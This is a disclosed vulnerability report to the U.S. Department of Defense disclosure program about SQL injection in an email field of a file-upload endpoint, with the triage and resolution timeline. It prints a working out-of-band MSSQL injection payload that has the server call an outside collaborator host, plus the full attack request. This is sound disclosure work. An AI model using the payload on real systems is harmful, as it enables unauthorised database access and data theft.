SQL injections

9

Share:

State	Resolved (Closed)
Disclosed	October 4, 2019 8:49pm +0530
Reported To	U.S. Dept Of Defense
Weakness	SQL Injection
Severity	High (7 ~ 8.9)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE · EXPORT

lfb submitted a report to U.S. Dept Of Defense. Sep 28th (2 years ago)

Summary:

An email is not well handeled and leads to sql injection.

Description:

This request

POST /FileTransfer/Upload HTTP/1.1

Host: www.[redacted]

The parameter **from** is injectable and leads to valid sql injection.

Impact

I didn't go all out and get a shell but, an attaker could exctract db information or execute sql command on the serve with the rights of the db user.

Step-by-step Reproduction Instructions

Payload injection

```
';declare @q varchar(99);set @q='\\4fkxoc5km935m5n0dqqu3vvk5bb1zq.burpcollaborator.net/random'; exec master.dbo.xp_
```

Request to make execute the sql command

```
POST /FileTransfer/Upload HTTP/1.1
Host: www.[redacted]
Connection: close
Content-Length: 269
Cache-Control: max-age=0
Origin: https://www.[redacted]
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybjrDo2DV1yHQWvAQ
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: https://www.[redacted]/FileTransfer/
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6,fr;q=0.4

------WebKitFormBoundarybjrDo2DV1yHQWvAQ
Content-Disposition: form-data; name="from"
```

```
hello';declare @q varchar(99);set @q='\\4fkxoc5km935m5n0dqqu3vvk5bb1zq.burpcollaborator.net/random'; exec master.dbo
------WebKitFormBoundarybjrDo2DV1yHQWvAQ
```

first I get a dns query on my burp collaborator (see sqli2.png)

second I get the server to poll with master.dbo.xp_dirtree from 143.85.74.18 at 2017-Sep-27 21:29:55

```
PROPFIND /random HTTP/1.1
Host: 4fkxoc5km935m5n0dqqu3vvk5bb1zq.burpcollaborator.net
Content-Length: 0
Depth: 0
translate: f
User-Agent: Microsoft-WebDAV-MiniRedir/6.0.6002
Accept-Encoding: gzip, deflate, identity
Connection: Keep-Alive
X-BlueCoat-Via: [redacted]
```

Also it is easy to see that the single quote breaks the sql syntax.

Suggested Mitigation/Remediation Actions

Make prepared statement so the ' doesnt get interpreted. (Input data validation)
Maybe verify other parameters.

BOT: U.S. Dept Of Defense posted a comment. Sep 28th (2 years ago)

Greetings from the Department of Defense (DoD),

Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).

By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.

The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.

We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.

Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.

Regards,

The VDP Team

latyzenhaus changed the status to ○ **Triaged**. Oct 3rd (2 years ago)

Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team

latyzenhaus added weakness "SQL Injection". Updated Feb 28th (2 years ago)

latyzenhaus updated the severity to High. Oct 3rd (2 years ago)

ag3nt-dc3 closed the report and changed the status to ○ **Resolved**. Mar 23rd (2 years ago)

Good news!

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

lfb requested to disclose this report. Aug 24th (about 1 year ago)

Do you make public disclosure? Ty

ag3nt-j1 agreed to disclose this report. Oct 4th (7 days ago)

This report has been disclosed. Oct 4th (7 days ago)

U.S. Dept Of Defense has locked this report. Oct 4th (7 days ago)